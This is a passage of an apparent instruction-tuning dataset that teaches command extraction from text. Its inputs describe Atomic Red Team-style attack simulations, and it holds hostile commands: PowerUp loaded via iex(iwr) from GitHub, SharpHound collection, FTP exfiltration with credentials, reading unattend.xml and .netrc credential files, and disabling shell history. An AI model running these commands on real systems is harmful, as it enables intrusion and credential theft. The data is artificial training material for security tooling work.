where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can change permissions recursively by executing this command: chmod -R #{numeric_mode} #{file_or_folder}; For recursively applying new permissions to a file or folder via symbolic mode, run the command: chmod -R #{symbolic_mode} #{file_or_folder}",
    "output": "{\"command_list\": [\"chmod -R #{numeric_mode} #{file_or_folder}\\n\", \"chmod -R #{symbolic_mode} #{file_or_folder}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using the default Shortcut Command method, you can execute a CHM file with the command: Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}; Using the ITS protocol handler to execute a CHM file requires this PowerShell command: Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}",
    "output": "{\"command_list\": [\"Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}\", \"Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate an encrypted file transfer to an FTP server, you can use the following command, which creates sample data and uploads it to the specified FTP server: $sampleData = \"Sample data for exfiltration test\"\nSet-Content -Path \"#{sampleFile}\" -Value $sampleData\n$ftpUrl = \"#{ftpServer}\"\n$creds = Get-Credential -Credential \"#{credentials}\"\nInvoke-WebRequest -Uri $ftpUrl -Method Put -InFile \"#{sampleFile}\" -Credential $creds\n; For downloading an image from a specified URL and making it your desktop background, use this command: $url = \"#{url_of_wallpaper}\"\n$imgLocation = \"#{wallpaper_location}\"\n$orgWallpaper = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\\Control Panel\\Desktop\\' -Name WallPaper).WallPaper\n$orgWallpaper | Out-File -FilePath \"#{pointer_to_orginal_wallpaper}\"\n$updateWallpapercode = @' \nusing System.Runtime.InteropServices; \nnamespace Win32{\n\n    public class Wallpaper{ \n        [DllImport(\"user32.dll\", CharSet=CharSet.Auto)] \n         static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; \n         \n         public static void SetWallpaper(string thePath){ \n            SystemParametersInfo(20,0,thePath,3); \n        }\n    }\n} \n'@\n$wc = New-Object System.Net.WebClient  \ntry{  \n    $wc.DownloadFile($url, $imgLocation)\n    add-type $updateWallpapercode \n    [Win32.Wallpaper]::SetWallpaper($imgLocation)\n} \ncatch [System.Net.WebException]{  \n    Write-Host(\"Cannot download $url\") \n    add-type $updateWallpapercode \n    [Win32.Wallpaper]::SetWallpaper($imgLocation)\n} \nfinally{    \n    $wc.Dispose()  \n}\n",
    "output": "{\"command_list\": [\"$sampleData = \\\"Sample data for exfiltration test\\\"\\nSet-Content -Path \\\"#{sampleFile}\\\" -Value $sampleData\\n$ftpUrl = \\\"#{ftpServer}\\\"\\n$creds = Get-Credential -Credential \\\"#{credentials}\\\"\\nInvoke-WebRequest -Uri $ftpUrl -Method Put -InFile \\\"#{sampleFile}\\\" -Credential $creds\\n\", \"$url = \\\"#{url_of_wallpaper}\\\"\\n$imgLocation = \\\"#{wallpaper_location}\\\"\\n$orgWallpaper = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\\' -Name WallPaper).WallPaper\\n$orgWallpaper | Out-File -FilePath \\\"#{pointer_to_orginal_wallpaper}\\\"\\n$updateWallpapercode = @' \\nusing System.Runtime.InteropServices; \\nnamespace Win32{\\n\\n    public class Wallpaper{ \\n        [DllImport(\\\"user32.dll\\\", CharSet=CharSet.Auto)] \\n         static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; \\n         \\n         public static void SetWallpaper(string thePath){ \\n            SystemParametersInfo(20,0,thePath,3); \\n        }\\n    }\\n} \\n'@\\n$wc = New-Object System.Net.WebClient  \\ntry{  \\n    $wc.DownloadFile($url, $imgLocation)\\n    add-type $updateWallpapercode \\n    [Win32.Wallpaper]::SetWallpaper($imgLocation)\\n} \\ncatch [System.Net.WebException]{  \\n    Write-Host(\\\"Cannot download $url\\\") \\n    add-type $updateWallpapercode \\n    [Win32.Wallpaper]::SetWallpaper($imgLocation)\\n} \\nfinally{    \\n    $wc.Dispose()  \\n}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When successfully performed, this attack vector will launch Microsoft Word with a blank document via the command: FOR /F \"tokens=2*\" %a in ('reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Winword.exe\" /V PATH') do set microsoft_wordpath=%b\ncall \"%microsoft_wordpath%\\protocolhandler.exe\" \"ms-word:nft|u|#{remote_url}\"; This attack simulation involves a renamed Microsoft.Workflow.Compiler.exe running a .Net assembly to start calc.exe, which can be executed via the command: &\"#{renamed_binary}\" \"#{xml_payload}\" output.txt",
    "output": "{\"command_list\": [\"FOR /F \\\"tokens=2*\\\" %a in ('reg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Winword.exe\\\" /V PATH') do set microsoft_wordpath=%b\\ncall \\\"%microsoft_wordpath%\\\\protocolhandler.exe\\\" \\\"ms-word:nft|u|#{remote_url}\\\"\\n\", \"&\\\"#{renamed_binary}\\\" \\\"#{xml_payload}\\\" output.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To discover containers and resources in a containerized environment, adversaries can execute the following commands: podman build -t t1613 $PathtoAtomicsFolder/T1613/src/\npodman run --name t1613_container --rm -d -t t1613\npodman ps\npodman stats --no-stream\npodman inspect $(podman ps -l -q --filter ancestor=t1613); To disable history collection in shells and execute another command, use the following: export HISTCONTROL=ignoreboth\n#{evil_command}\n",
    "output": "{\"command_list\": [\"podman build -t t1613 $PathtoAtomicsFolder/T1613/src/\\npodman run --name t1613_container --rm -d -t t1613\\npodman ps\\npodman stats --no-stream\\npodman inspect $(podman ps -l -q --filter ancestor=t1613)\", \"export HISTCONTROL=ignoreboth\\n#{evil_command}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To check for unattend.xml files in the Panther directory, which may contain installation credentials, use the following command:\ntype C:\\Windows\\Panther\\unattend.xml\ntype C:\\Windows\\Panther\\Unattend\\unattend.xml\n; To search for .netrc files containing GitHub credentials in plain text and display their contents, use the following command: for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done",
    "output": "{\"command_list\": [\"type C:\\\\Windows\\\\Panther\\\\unattend.xml\\ntype C:\\\\Windows\\\\Panther\\\\Unattend\\\\unattend.xml\\n\", \"for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
